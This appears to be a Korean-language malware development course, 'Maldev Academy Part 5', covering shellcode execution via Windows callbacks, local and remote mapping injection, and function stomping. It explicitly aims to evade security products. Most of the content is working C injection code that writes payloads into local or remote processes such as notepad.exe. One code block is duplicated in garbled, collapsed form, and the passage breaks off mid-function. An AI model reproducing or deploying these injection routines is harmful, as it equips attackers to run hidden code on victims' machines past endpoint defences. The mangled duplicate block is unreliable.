Maldev Academy Part 5

목차


    41. 콜백 코드 실행

    콜백 코드 실행

    소개

    콜백 함수는 이벤트를 처리하거나 조건이 충족될 때 작업을 수행하는 데 사용됩니다. 콜백 함수는 이벤트 처리, 창 관리, 멀티스레딩 등 Windows 운영 체제의 다양한 시나리오에서 사용됩니다. 콜백 함수에 대한 Microsoft의 정의는 다음과 같습니다:

    콜백 함수는 관리되는 애플리케이션 내에서 관리되지 않는 DLL 함수가 작업을 완료하는 데 도움이 되는 코드입니다. 콜백 함수에 대한 호출은 관리되는 애플리케이션에서 DLL 함수를 거쳐 다시 관리되는 구현으로 간접적으로 전달됩니다.

    여러 일반 Windows API에는 콜백을 사용하여 페이로드를 실행하는 기능이 있습니다. 이러한 함수는 정상적으로 보일 수 있고 일부 보안 솔루션을 우회할 수 있으므로 이를 사용하면 보안 솔루션에 대한 이점을 얻을 수 있습니다.

    콜백 기능 악용

    Windows 콜백은 함수 포인터를 사용하여 실행할 수 있습니다. 페이로드를 실행하려면 유효한 콜백 함수 포인터 대신 페이로드의 주소를 전달해야 합니다. 콜백 실행은 페이로드 실행을 위해 CreateThread WinAPI 및 기타 스레드 관련 기술을 사용하는 것을 대체할 수 있습니다. 또한 적절한 매개변수를 전달하여 함수를 올바르게 사용할 필요가 없습니다. 이러한 함수의 반환 값이나 기능은 중요하지 않습니다.

    콜백 함수에 대한 한 가지 중요한 점은 콜백 함수는 로컬 프로세스 주소 공간에서만 작동하며 원격 코드 삽입 기술을 수행하는 데 사용할 수 없다는 것입니다.

    샘플 콜백 함수

    다음 함수는 모두 실행 콜백 함수로 사용할 수 있습니다.

    CreateTimerQueueTimer의 세 번째 매개변수

    BOOL CreateTimerQueueTimer(
      [out]          PHANDLE             phNewTimer,
      [in, optional] HANDLE              TimerQueue,
      [in]           WAITORTIMERCALLBACK Callback,      // here
      [in, optional] PVOID               Parameter,
      [in]           DWORD               DueTime,
      [in]           DWORD               Period,
      [in]           ULONG               Flags
    );

    EnumChildWindows의 두 번째 매개변수

    BOOL EnumChildWindows(
      [in, optional] HWND        hWndParent,
      [in]           WNDENUMPROC lpEnumFunc,    // here
      [in]           LPARAM      lParam
    );

    EnumUILanguagesW의 첫 번째 매개변수

    BOOL EnumUILanguagesW(
      [in] UILANGUAGE_ENUMPROCW lpUILanguageEnumProc,     // here
      [in] DWORD                dwFlags,
      [in] LONG_PTR             lParam
    );

    VerifierEnumerateResource의 네 번째 매개변수

    ULONG VerifierEnumerateResource(
      HANDLE                           Process,
      ULONG                            Flags,
      ULONG                            ResourceType,
      AVRF_RESOURCE_ENUMERATE_CALLBACK ResourceCallback,     // here
      PVOID                            EnumerationContext
    );

    다음 섹션에서는 이러한 각 함수에 대한 자세한 설명을 제공합니다. 코드 샘플에 사용된 페이로드는 바이너리의 .text 섹션에 저장됩니다. 이를 통해 셸코드는 VirtualAlloc 또는 기타 메모리 할당 함수를 사용하여 실행 가능한 메모리를 할당할 필요 없이 필요한 RX 메모리 권한을 가질 수 있습니다.

    CreateTimerQueueTimer 사용

    CreateTimerQueueTimer는 새 타이머를 생성하여 지정된 타이머 대기열에 추가합니다. 타이머는 타이머가 만료될 때 호출되는 콜백 함수를 사용하여 지정됩니다. 콜백 함수는 타이머 대기열을 생성한 스레드에서 실행됩니다.

    아래 스니펫은 페이로드에 있는 코드를 콜백 함수로 실행합니다.

    HANDLE hTimer = NULL;
    
    if (!CreateTimerQueueTimer(&hTimer, NULL, (WAITORTIMERCALLBACK)Payload, NULL, NULL, NULL, NULL)){
    	printf("[!] CreateTimerQueueTimer Failed With Error : %d \n", GetLastError());
    	return -1;
    }

    EnumChildWindows 사용

    EnumChildWindows를 사용하면 프로그램에서 부모 창의 자식 창을 열거할 수 있습니다. 이 함수는 부모 창 핸들을 입력으로 받아 사용자 정의 콜백 함수를 각 자식 창에 한 번에 하나씩 적용합니다. 콜백 함수는 각 자식 창에 대해 호출되며, 자식 창 핸들과 사용자 정의 값을 매개변수로 받습니다.

    아래 스니펫은 페이로드에 있는 코드를 콜백 함수로 실행합니다.

    	if (!EnumChildWindows(NULL, (WNDENUMPROC)Payload, NULL)) {
    		printf("[!] EnumChildWindows Failed With Error : %d \n", GetLastError());
    		return -1;
    	}

    EnumUILanguagesW 사용

    EnumUILanguagesW는 시스템에 설치된 사용자 인터페이스(UI) 언어를 열거합니다. 이 함수는 콜백 함수를 매개변수로 받아 각 UI 언어에 콜백 함수를 한 번에 하나씩 적용합니다. MUI_LANGUAGE_NAME 플래그 대신 어떤 값을 사용해도 작동합니다.

    아래 스니펫은 페이로드에 있는 코드를 콜백 함수로 실행합니다.

    	if (!EnumUILanguagesW((UILANGUAGE_ENUMPROCW)Payload, MUI_LANGUAGE_NAME, NULL)) {
    		printf("[!] EnumUILanguagesW Failed With Error : %d \n", GetLastError());
    		return -1;
    	}

    VerifierEnumerateResource 사용

    VerifierEnumerateResource는 지정된 모듈의 리소스를 열거하는 데 사용됩니다. 리소스는 모듈(예: 실행 파일 또는 동적 링크 라이브러리)에 저장되며 런타임에 모듈 또는 다른 모듈에서 액세스할 수 있는 데이터입니다. 리소스의 예로는 문자열, 비트맵, 대화 상자 템플릿 등이 있습니다.

    VerifierEnumerateResource는 verifier.dll에서 내보내므로 이 함수에 액세스하려면 LoadLibrary 및 GetProcAddress WinAPI를 사용하여 모듈을 동적으로 로드해야 합니다.

    ResourceType 파라미터가 AvrfResourceHeapAllocation과 같지 않으면 페이로드가 실행되지 않습니다. AvrfResourceHeapAllocation은 함수가 힙 메타데이터 블록을 포함한 힙 할당을 열거할 수 있도록 합니다.

    	HMODULE hModule = NULL;
    	fnVerifierEnumerateResource pVerifierEnumerateResource = NULL;
    
    	hModule = LoadLibraryA("verifier.dll");
    	if (hModule == NULL){
    		printf("[!] LoadLibraryA Failed With Error : %d \n", GetLastError());
    		return -1;
    	}
    
    	pVerifierEnumerateResource = GetProcAddress(hModule, "VerifierEnumerateResource");
    	if (pVerifierEnumerateResource == NULL) {
    		printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
    		return -1;
    	}
    
    	// Must set the AvrfResourceHeapAllocation flag to run the payload
    	pVerifierEnumerateResource(GetCurrentProcess(), NULL, AvrfResourceHeapAllocation, (AVRF_RESOURCE_ENUMERATE_CALLBACK)Payload, NULL);

    결론

    이 모듈에서는 몇 가지 콜백 함수를 검토하고 페이로드 실행을 위한 콜백 함수의 사용법을 시연했습니다. 콜백 함수는 페이로드가 로컬 프로세스의 메모리 주소 공간에서 실행될 때만 유용합니다.

    Microsoft의 문서 페이지를 검색하여 추가 콜백 함수를 찾을 수 있습니다. 또한 가장 일반적인 콜백 함수 목록이 포함된 GitHub 리포지토리가 만들어졌습니다.


    42. 로컬 매핑 주입

    로컬 매핑 주입

    소개

    지금까지 모든 이전 구현에서는 실행 중 페이로드를 저장하는 데 개인 메모리 유형이 사용되었습니다. 전용 메모리는 VirtualAlloc 또는 VirtualAllocEx를 사용하여 할당됩니다. 다음 이미지는 페이로드가 포함된 “LocalThreadHijacking” 구현에서 할당된 전용 메모리를 보여줍니다.

    매핑된 메모리

    개인 메모리를 할당하는 프로세스는 멀웨어에 의해 광범위하게 사용되기 때문에 보안 솔루션에서 집중적으로 모니터링합니다. 가상 할당 및 가상 보호와 같이 일반적으로 모니터링되는 WinAPI를 피하기 위해 매핑 인젝션은 CreateFileMapping 및 MapViewOfFile과 같은 다른 WinAPI를 사용하여 매핑된 메모리 유형을 사용합니다.

    또한 가상 보호/Ex WinAPI는 매핑된 메모리의 메모리 권한을 변경하는 데 사용할 수 없다는 점도 알아둘 필요가 있습니다.

    로컬 매핑 주입

    이 섹션에서는 로컬 매핑 삽입을 수행하는 데 필요한 WinAPI에 대해 설명합니다.

    파일 매핑 생성

    CreateFileMapping은 메모리 매핑 기술을 통해 파일 내용에 대한 액세스를 제공하는 파일 매핑 객체를 생성합니다. 이 함수를 사용하면 프로세스가 디스크의 파일 내용이나 다른 메모리 위치에 매핑되는 가상 메모리 공간을 만들 수 있습니다. 이 함수는 파일 매핑 객체에 대한 핸들을 반환합니다.

    HANDLE CreateFileMappingA(
      [in]           HANDLE                hFile,
      [in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes,     // Not Required - NULL
      [in]           DWORD                 flProtect,
      [in]           DWORD                 dwMaximumSizeHigh,           // Not Required - NULL
      [in]           DWORD                 dwMaximumSizeLow,
      [in, optional] LPCSTR                lpName                       // Not Required - NULL
    );

    이 기술에 필요한 3가지 매개변수는 아래에 설명되어 있습니다. 필요 없음으로 표시된 매개변수는 NULL로 설정할 수 있습니다.

    • hFile – 파일 매핑 핸들을 생성할 파일에 대한 핸들입니다. 구현에서 파일에서 파일 매핑을 생성하는 것은 필요하지 않으므로 INVALID_HANDLE_VALUE 플래그를 대신 사용할 수 있습니다. INVALID_HANDLE_VALUE 플래그는 Microsoft에서 설명합니다:

    hFile이 INVALID_HANDLE_VALUE인 경우, 호출 프로세스는 dwMaximumSizeHigh 및 dwMaximumSizeLow 매개변수에 파일 매핑 객체의 크기도 지정해야 합니다. 이 시나리오에서 CreateFileMapping은 파일 시스템의 파일 대신 시스템 페이징 파일에 의해 백업되는 지정된 크기의 파일 매핑 객체를 만듭니다.

    이 플래그를 설정하면 함수가 디스크의 파일을 사용하지 않고도 작업을 수행할 수 있으며, 대신 파일 매핑 객체가 dwMaximumSizeHigh 또는 dwMaximumSizeLow 매개변수로 지정된 크기로 메모리에 만들어집니다.

    • flProtect – 파일 매핑 객체의 페이지 보호 기능을 지정합니다. 이 구현에서는 PAGE_EXECUTE_READWRITE로 설정됩니다. 이 설정은 RWX 섹션을 생성하는 것이 아니라 나중에 생성할 수 있도록 지정한다는 점에 유의하세요. 만약 PAGE_READWRITE로 설정되었다면 나중에 페이로드를 실행할 수 없습니다.
    • dwMaximumSizeLow – 반환된 파일 매핑 핸들의 크기입니다. 이 값은 페이로드의 크기가 됩니다.

    맵뷰오브파일

    MapViewOfFile은 파일 매핑 객체의 보기를 프로세스의 주소 공간에 매핑합니다. 이 함수는 파일 매핑 객체에 대한 핸들과 원하는 액세스 권한을 받고 프로세스의 주소 공간에서 매핑의 시작 부분에 대한 포인터를 반환합니다.

    LPVOID MapViewOfFile(
      [in] HANDLE     hFileMappingObject,
      [in] DWORD      dwDesiredAccess,
      [in] DWORD      dwFileOffsetHigh,           // Not Required - NULL
      [in] DWORD      dwFileOffsetLow,            // Not Required - NULL
      [in] SIZE_T     dwNumberOfBytesToMap
    );

    이 기술에 필요한 3가지 매개변수는 아래에 설명되어 있습니다. 필요 없음으로 표시된 매개변수는 NULL로 설정할 수 있습니다.

    • hFileMappingObject – 파일 매핑 객체인 CreateFileMapping WinAPI에서 반환된 핸들입니다.
    • dwDesiredAccess – 파일 매핑 객체에 대한 액세스 유형으로, 생성된 페이지의 페이지 보호를 결정합니다. 즉, MapViewOfFile 호출에 의해 할당된 메모리의 메모리 사용 권한입니다. CreateFileMapping이 PAGE_EXECUTE_READWRITE로 설정되었으므로 이 매개변수는 FILE_MAP_EXECUTE 및 FILE_MAP_WRITE 플래그를 모두 사용하여 페이로드를 복사한 후 실행하는 데 필요한 유효한 실행 가능 및 쓰기 가능한 메모리를 반환합니다.

    CreateFileMapping에 PAGE_READWRITE 플래그가 사용되었고 MapViewOfFile에 FILE_MAP_EXECUTE 플래그가 사용되었다면, MapViewOfFile 은 실행 가능한 메모리를 읽기 및 쓰기가 가능한 CreateFileMapping 객체 핸들에서 만들려고 시도했기 때문에 실패했을 것입니다.

    • dwNumberOfBytesToMap – 페이로드의 크기입니다.

    로컬 매핑 주입 기능

    LocalMapInject는 로컬 매핑 주입을 수행하는 함수입니다. 3개의 인수를 받습니다:

    • p페이로드 – 페이로드의 기본 주소입니다.
    • sPayloadSize – 페이로드의 크기입니다.
    • ppAddress – 매핑된 메모리의 기본 주소를 수신하는 PVOID에 대한 포인터입니다.

    이 함수는 로컬로 매핑된 실행 버퍼를 할당하고 해당 버퍼의 페이로드를 복사한 다음 매핑된 메모리의 기본 주소를 반환합니다.

    BOOL LocalMapInject(IN PBYTE pPayload, IN SIZE_T sPayloadSize, OUT PVOID* ppAddress) {
    
    	BOOL   bSTATE         = TRUE;
    	HANDLE hFile          = NULL;
    	PVOID  pMapAddress    = NULL;
    
    
    	// Create a file mapping handle with RWX memory permissions
    	// This does not allocate RWX view of file unless it is specified in the subsequent MapViewOfFile call
    	hFile = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sPayloadSize, NULL);
    	if (hFile == NULL) {
    		printf("[!] CreateFileMapping Failed With Error : %d \n", GetLastError());
    		bSTATE = FALSE; goto _EndOfFunction;
    	}
    
    	// Maps the view of the payload to the memory
    	pMapAddress = MapViewOfFile(hFile, FILE_MAP_WRITE | FILE_MAP_EXECUTE, NULL, NULL, sPayloadSize);
    	if (pMapAddress == NULL) {
    		printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
    		bSTATE = FALSE; goto _EndOfFunction;
    	}
    
        // Copying the payload to the mapped memory
    	memcpy(pMapAddress, pPayload, sPayloadSize);
    
    _EndOfFunction:
    	*ppAddress = pMapAddress;
    	if (hFile)
    		CloseHandle(hFile);
    	return bSTATE;
    }

    UnmapViewOfFile

    UnmapViewOfFile은 이전에 매핑된 메모리의 매핑을 해제하는 데 사용되는 WinAPI로, 이 함수는 페이로드가 실행 중이 아니라 실행이 완료된 후에만 호출해야 합니다. UnmapViewOfFile은 매핑을 해제할 파일의 매핑된 보기의 기본 주소(위 함수의 pMapAddress )만 있으면 됩니다.

    데모

    매핑된 메모리 버퍼 할당하기

    페이로드 복사

    페이로드 실행하기(간소화를 위해 CreateThread 사용)


    43. 원격 매핑 주입

    원격 매핑 주입

    소개

    이전 모듈에서는 개인 메모리를 사용하지 않고도 로컬 페이로드를 실행하는 방법을 보여드렸습니다. 이 모듈에서는 대신 원격 프로세스에서 동일한 기술을 시연합니다.

    원격 매핑 주입

    이 섹션에서는 원격 매핑 주입을 수행하는 데 필요한 WinAPI에 대해 설명합니다. 원격 매핑 주입을 수행하는 단계는 다음과 같습니다.

    1. CreateFileMapping은 파일 매핑 객체를 생성하기 위해 호출됩니다.
    2. 그런 다음 MapViewOfFile을 호출하여 파일 매핑 객체를 로컬 프로세스 주소 공간에 매핑합니다.
    3. 페이로드는 로컬로 할당된 메모리로 이동합니다.
    4. 파일에 대한 새로운 보기가 대상 프로세스의 원격 주소 공간에 매핑되며, MapViewOfFile2를 사용하여 파일의 로컬 보기를 원격 프로세스와 복사된 페이로드에 매핑합니다.

    맵뷰오브파일2

    MapViewOfFile2는 파일의 보기를 지정된 원격 프로세스의 주소 공간에 매핑합니다.

    PVOID MapViewOfFile2(
      [in]           HANDLE  FileMappingHandle,   // Handle to the file mapping object returned by CreateFileMappingA/W
      [in]           HANDLE  ProcessHandle,       // Target process handle
      [in]           ULONG64 Offset,              // Not required - NULL
      [in, optional] PVOID   BaseAddress,         // Not required - NULL
      [in]           SIZE_T  ViewSize,            // Not required - NULL
      [in]           ULONG   AllocationType,      // Not required - NULL
      [in]           ULONG   PageProtection       // The desired page protection.
    );
    • FileMappingHandle – 지정된 프로세스의 주소 공간에 매핑할 섹션에 대한 핸들입니다.
    • ProcessHandle – 섹션이 매핑될 프로세스에 대한 핸들입니다. 핸들에는 PROCESS_VM_OPERATION 액세스 마스크가 있어야 합니다.
    • 페이지 보호 – 원하는 페이지 보호 기능입니다.

    구현 참고 사항

    로컬 매핑 삽입과 달리 페이로드가 로컬에서 실행되지 않으므로 로컬에서 매핑된 파일 보기를 실행 가능하게 만들 필요가 없습니다. 대신, MapViewOfFile은 페이로드를 복사하기 위해 FILE_MAP_WRITE 플래그를 사용합니다. 그러면 MapViewOfFile2가 동일한 바이트를 대상 프로세스의 주소 공간에 매핑합니다.

    MapViewOfFile2는 파일 매핑 핸들을 MapViewOfFile과 공유합니다. 따라서 로컬로 매핑된 파일 보기에서 페이로드에 대한 모든 수정 사항은 원격 프로세스의 파일 원격 매핑 보기에 반영됩니다. 이는 암호화된 페이로드를 실행해야 하는 실제 구현에 유용하며, 페이로드를 원격 프로세스에 매핑하고 로컬에서 복호화하여 파일의 원격 보기에서 페이로드를 복호화하여 실행할 수 있기 때문입니다.

    원격 매핑 주입 기능

    리모트맵인젝트는 원격 매핑 주입을 수행하는 함수입니다. 4개의 인수를 받습니다:

    • hProcess – 대상 프로세스에 대한 핸들입니다.
    • p페이로드 – 페이로드의 기본 주소입니다.
    • sPayloadSize – 페이로드의 크기입니다.
    • ppAddress – 매핑된 메모리의 기본 주소를 수신하는 PVOID에 대한 포인터입니다.

    이 함수는 로컬로 매핑된 읽기-쓰기 가능 버퍼를 할당하고 페이로드를 여기에 복사합니다. 그런 다음 MapViewOfFile2를 사용하여 로컬 페이로드를 대상 프로세스의 새 원격 버퍼에 매핑하고 마지막으로 매핑된 메모리의 기본 주소를 반환합니다.

    BOOL RemoteMapInject(IN HANDLE hProcess, IN PBYTE pPayload, IN SIZE_T sPayloadSize, OUT PVOID* ppAddress) {
    
    	BOOL        bSTATE            = TRUE;
    	HANDLE      hFile             = NULL;
    	PVOID       pMapLocalAddress  = NULL,
                    pMapRemoteAddress = NULL;
    
        // Create a file mapping handle with RWX memory permissions
    	// This does not allocate RWX view of file unless it is specified in the subsequent MapViewOfFile call
    	hFile = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sPayloadSize, NULL);
    	if (hFile == NULL) {
    		printf("\t[!] CreateFileMapping Failed With Error : %d \n", GetLastError());
    		bSTATE = FALSE; goto _EndOfFunction;
    	}
    
        // Maps the view of the payload to the memory
    	pMapLocalAddress = MapViewOfFile(hFile, FILE_MAP_WRITE, NULL, NULL, sPayloadSize);
    	if (pMapLocalAddress == NULL) {
    		printf("\t[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
    		bSTATE = FALSE; goto _EndOfFunction;
    	}
    
        // Copying the payload to the mapped memory
    	memcpy(pMapLocalAddress, pPayload, sPayloadSize);
    
    	// Maps the payload to a new remote buffer in the target process
    	pMapRemoteAddress = MapViewOfFile2(hFile, hProcess, NULL, NULL, NULL, NULL, PAGE_EXECUTE_READWRITE);
    	if (pMapRemoteAddress == NULL) {
    		printf("\t[!] MapViewOfFile2 Failed With Error : %d \n", GetLastError());
    		bSTATE = FALSE; goto _EndOfFunction;
    	}
    
    	printf("\t[+] Remote Mapping Address : 0x%p \n", pMapRemoteAddress);
    
    _EndOfFunction:
    	*ppAddress = pMapRemoteAddress;
    	if (hFile)
    		CloseHandle(hFile);
    	returnBOOL RemoteMapInject(IN HANDLE hProcess, IN PBYTE pPayload, IN SIZE_T sPayloadSize, OUT PVOID* ppAddress) { BOOL bSTATE = TRUE; HANDLE hFile = NULL; PVOID pMapLocalAddress = NULL, pMapRemoteAddress = NULL;
    
        // RWX 메모리 권한으로 파일 매핑 핸들을 생성합니다 // 후속 MapViewOfFile 호출에서 지정하지 않는 한 파일에 대한 RWX 뷰를 할당하지 않습니다 hFile = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sPayloadSize, NULL); if (hFile == NULL) { printf("\t[!] CreateFileMapping Failed With Error : %d \n", GetLastError()); bSTATE = FALSE; goto _EndOfFunction; } // 페이로드의 뷰를 메모리로 매핑합니다 pMapLocalAddress = MapViewOfFile(hFile, FILE_MAP_WRITE, NULL, NULL, sPayloadSize); if (pMapLocalAddress == NULL) { printf("\t[!] 오류로 실패한 맵뷰오브파일 : %d \n", GetLastError()); bSTATE = FALSE; goto _EndOfFunction; } // 페이로드를 매핑된 메모리로 복사 memcpy(pMapLocalAddress, pPayload, sPayloadSize);
    
    	// 페이로드를 타겟 프로세스의 새 원격 버퍼에 매핑 pMapRemoteAddress = MapViewOfFile2(hFile, hProcess, NULL, NULL, NULL, NULL, PAGE_EXECUTE_READWRITE); if (pMapRemoteAddress == NULL) { printf("\t[!] MapViewOfFile2 Failed With Error : %d \n", GetLastError()); bSTATE = FALSE; goto _EndOfFunction; } printf("\t[+] Remote Mapping Address : 0x%p \n", pMapRemoteAddress); _EndOfFunction: *ppAddress = pMapRemoteAddress; if (hFile) CloseHandle(hFile); return

    UnmapViewOfFile

    UnmapViewOfFile은 매핑을 해제할 파일의 매핑된 뷰의 기본 주소만 취한다는 것을 기억하세요. 파일의 원격 보기가 로컬 보기를 반영하기 때문에 페이로드가 아직 실행 중일 때는 로컬로 매핑된 페이로드의 매핑을 해제하기 위해 UnmapViewOfFile WinAPI를 호출하는 것은 금지되어 있습니다. 따라서 로컬 파일 맵 보기의 매핑을 해제하면 페이로드가 여전히 활성 상태이므로 원격 프로세스가 충돌하게 됩니다.

    데모

    이 데모의 대상 프로세스는 Notepad.exe입니다.

    아래 이미지는 페이로드가 포함된 로컬로 매핑된 메모리를 보여줍니다. 메모리에 대한 사용 권한이 RW인 것을 알 수 있습니다.

    MapViewOfFile2는 동일한 바이트를 대상 프로세스인 notepad.exe의 주소 공간에 매핑합니다. 이제 원격으로 매핑된 메모리에 RWX 권한이 있는 페이로드가 포함됩니다.

    페이로드 실행하기(간소화를 위해 CreateRemoteThread 사용)


    44. 로컬 함수 스톰핑 주입

    로컬 함수 스톰핑 인젝션

    소개

    앞서 설명한 매핑 주입 모듈은 VirtualAlloc/Ex WinAPI 호출의 사용을 피하기 위해 사용되었습니다. 이 모듈에서는 이러한 WinAPI의 사용을 피하는 또 다른 방법을 보여드리겠습니다.

    함수 스톰핑

    ‘스톰핑’이란 프로그램에서 함수나 기타 데이터 구조의 메모리를 다른 데이터로 덮어쓰거나 대체하는 행위를 말합니다.

    함수 스톰핑은 원래 함수의 바이트가 새 코드로 대체되어 함수가 대체되거나 더 이상 의도한 대로 작동하지 않게 되는 기술입니다. 대신 함수는 다른 로직을 실행합니다. 이를 구현하려면 희생 함수 주소를 스톰핑해야 합니다.

    대상 함수 선택

    로컬에서 함수의 주소를 검색하는 것은 간단하지만, 어떤 함수를 검색하는지가 이 기술의 주요 관심사입니다. 일반적으로 사용되는 함수를 덮어쓰면 페이로드가 제어되지 않은 상태로 실행되거나 프로세스가 충돌할 수 있습니다. 따라서 ntdll.dllkernel32.dllkernelbase.dll에서 내보낸 함수를 표적으로 삼는 것은 위험하다는 점을 분명히 알아야 합니다. 대신 운영 체제나 다른 애플리케이션에서 거의 사용되지 않으므로 MessageBox와 같이 자주 사용되지 않는 함수를 타깃으로 삼아야 합니다.

    스톰프 기능 사용하기

    대상 함수의 바이트가 페이로드의 바이트로 바뀌면 해당 함수는 페이로드 실행을 위한 것이 아니라면 더 이상 사용할 수 없습니다. 예를 들어 타겟 함수가 MessageBoxA인 경우 바이너리는 페이로드가 실행될 때 MessageBoxA를 한 번만 호출해야 합니다.

    로컬 함수 스톰핑 코드

    아래 코드 데모에서 대상 함수는 SetupScanFileQueueA입니다. 이 함수는 완전히 임의의 함수이지만 덮어쓴다고 해서 문제가 발생할 가능성은 거의 없습니다. Microsoft의 설명서에 따르면 이 함수는 Setupapi.dll에서 내보내집니다. 따라서 첫 번째 단계는 LoadLibraryA를 사용하여 Setupapi.dll을 로컬 프로세스 메모리로 로드한 다음 GetProcAddress를 사용하여 함수의 주소를 검색하는 것입니다.

    다음 단계는 함수를 덮어쓰고 페이로드로 대체하는 것입니다. 가상 보호 기능을 사용하여 메모리 영역을 읽기 및 쓰기 가능으로 표시하여 함수를 덮어쓸 수 있는지 확인합니다. 그런 다음, 페이로드를 함수의 주소에 쓰고 마지막으로 VirtualProtect를 다시 사용해 해당 영역을 실행 가능(RX 또는 RWX)으로 표시합니다.

    #define		SACRIFICIAL_FUNC         "SetupScanFileQueueA"// ...
    
    BOOL WritePayload(IN PVOID pAddress, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {
    
    	DWORD	dwOldProtection		= NULL;
    
    
    	if (!VirtualProtect(pAddress, sPayloadSize, PAGE_READWRITE, &dwOldProtection)){
    		printf("[!] VirtualProtect [RW] Failed With Error : %d \n", GetLastError());
    		return FALSE;
    	}
    
    	memcpy(pAddress, pPayload, sPayloadSize);
    
    	if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
    		printf("[!] VirtualProtect [RWX] Failed With Error : %d \n", GetLastError());
    		return FALSE;
    	}
    
    	return TRUE;
    }
    
    
    
    int main() {
    
    	PVOID		pAddress	= NULL;
    	HMODULE		hModule		= NULL;
    	HANDLE		hThread		= NULL;
    
    
    	printf("[#] Press <Enter> To Load \"%s\" ... ", SACRIFICIAL_DLL);
    	getchar();
    
    	printf("[i] Loading ... ");
    	hModule = LoadLibraryA(SACRIFICIAL_DLL);
    	if (hModule == NULL){
    		printf("[!] LoadLibraryA Failed With Error : %d \n", GetLastError());
    		return -1;
    	}
    	printf("[+] DONE \n");
    
    
    
    	pAddress = GetProcAddress(hModule, SACRIFICIAL_FUNC);
    	if (pAddress == NULL){
    		printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
    		return -1;
    	}
    
    
    	printf("[+] Address Of \"%s\" : 0x%p \n", SACRIFICIAL_FUNC, pAddress);
    
    
    	printf("[#] Press <Enter> To Write Payload ... ");
    	getchar();
    	printf("[i] Writing ... ");
    	if (!WritePayload(pAddress, Payload, sizeof(Payload))) {
    		return -1;
    	}
    	printf("[+] DONE \n");
    
    
    
    	printf("[#] Press <Enter> To Run The Payload ... ");
    	getchar();
    
    	hThread = CreateThread(NULL, NULL, pAddress, NULL, NULL, NULL);
    	if (hThread != NULL)
    		WaitForSingleObject(hThread, INFINITE);
    
    	printf("[#] Press <Enter> To Quit ... ");
    	getchar();
    
    	return 0;
    
    }
    

    바이너리에 DLL 삽입

    LoadLibrary를 사용하여 DLL을 로드한 다음 GetProcAddress를 사용하여 대상 함수의 주소를 검색하는 대신 정적으로 DLL을 바이너리에 링크할 수 있습니다. 아래와 같이 pragma 주석 컴파일러 지시어를 사용하면 이 작업을 수행할 수 있습니다.

    #pragma comment (lib, "Setupapi.lib") // Adding "setupapi.dll" to the Import Address Table

    그러면 대상 함수는 연산자 주소(예: &SetupScanFileQueueA)를 사용하여 간단히 검색할 수 있습니다. 아래 코드 스니펫은 이전 코드 스니펫을 pragma 주석 지시문을 사용하도록 업데이트합니다.

    #pragma comment (lib, "Setupapi.lib") // Adding "setupapi.dll" to the Import Address Table// ...
    
    
    int main() {
    
    	HANDLE		hThread			= NULL;
    
    
    	printf("[+] Address Of \"SetupScanFileQueueA\" : 0x%p \n", &SetupScanFileQueueA);
    
    
    	printf("[#] Press <Enter> To Write Payload ... ");
    	getchar();
    	printf("[i] Writing ... ");
    	if (!WritePayload(&SetupScanFileQueueA, Payload, sizeof(Payload))) { // Using the address-of operator
    		return -1;
    	}
    	printf("[+] DONE \n");
    
    
    
    	printf("[#] Press <Enter> To Run The Payload ... ");
    	getchar();
    
    	hThread = CreateThread(NULL, NULL, SetupScanFileQueueA, NULL, NULL, NULL);
    	if (hThread != NULL)
    		WaitForSingleObject(hThread, INFINITE);
    
    	printf("[#] Press <Enter> To Quit ... ");
    	getchar();
    
    	return 0;
    
    }
    

    데모

    SetupScanFileQueueA의주소를 검색합니다.

    SetupScanFileQueueA 함수의 원본 바이트입니다.

    함수의 바이트를 Msfvenom 계산 페이로드로 바꿉니다.

    페이로드를 실행합니다.


    45. 원격 기능 스톰핑 주입

    원격 기능 스톰핑 인젝션

    소개

    이전 모듈에서는 프로세스의 로컬 주소 공간을 밟는 함수를 소개했습니다. 이 모듈에서는 동일한 구현 로직을 사용하여 원격 프로세스에 코드를 삽입합니다.

    원격 기능 스톰핑

    Windows API 함수를 구현하는 DLL은 해당 함수를 사용하는 모든 프로세스에서 공유되므로 DLL 내의 함수는 각 프로세스에서 동일한 주소를 갖습니다. 그러나 DLL 자체의 주소는 가상 주소 공간이 다르기 때문에 프로세스마다 다를 수 있습니다. 즉, 대상 함수의 주소는 여러 프로세스에 걸쳐 일정하게 유지되지만 해당 함수를 내보내는 DLL은 동일하지 않을 수 있습니다.

    예를 들어, 두 프로세스인 A와 B가 Kernel32.dll을 공유하지만 주소 공간 레이아웃 무작위화로 인해 각 프로세스 내에서 DLL의 주소가 다를 수 있습니다. 그러나 Kernel32.dll에서 내보낸 VirtualAlloc은 두 프로세스 모두에서 동일한 주소를 갖습니다.

    함수 스톰핑을 원격으로 수행하려면 대상 함수를 내보내는 DLL이 대상 프로세스에 이미 로드되어 있어야 합니다. 예를 들어 Setupapi.dll에서 내보낸 원격 함수의 SetupScanFileQueueA 함수를 타겟팅하려면 해당 DLL이 이미 대상 프로세스에 로드되어 있어야 합니다. 원격 프로세스에 Setupapi.dll이 로드되어 있지 않으면 SetupScanFileQueueA 함수가 대상 프로세스에 존재하지 않으므로 존재하지 않는 주소에 쓰기를 시도하게 됩니다.

    원격 기능 스톰핑 코드

    다음 코드는 로컬 함수 스톰핑 코드와 유사하지만, 코드 삽입을 수행하기 위해 다른 WinAPI 함수를 사용합니다.

    #define		SACRIFICIAL_DLL            "setupapi.dll"#define		SACRIFICIAL_FUNC           "SetupScanFileQueueA"// ...
    
    BOOL WritePayload(HANDLE hProcess, PVOID pAddress, PBYTE pPayload, SIZE_T sPayloadSize) {
    
    	DWORD	dwOldProtection            = NULL;
    	SIZE_T	sNumberOfBytesWritten      = NULL;
    
    	if (!VirtualProtectEx(hProcess, pAddress, sPayloadSize, PAGE_READWRITE, &dwOldProtection)) {
    		printf("[!] VirtualProtectEx [RW] Failed With Error : %d \n", GetLastError());
    		return FALSE;
    	}
    
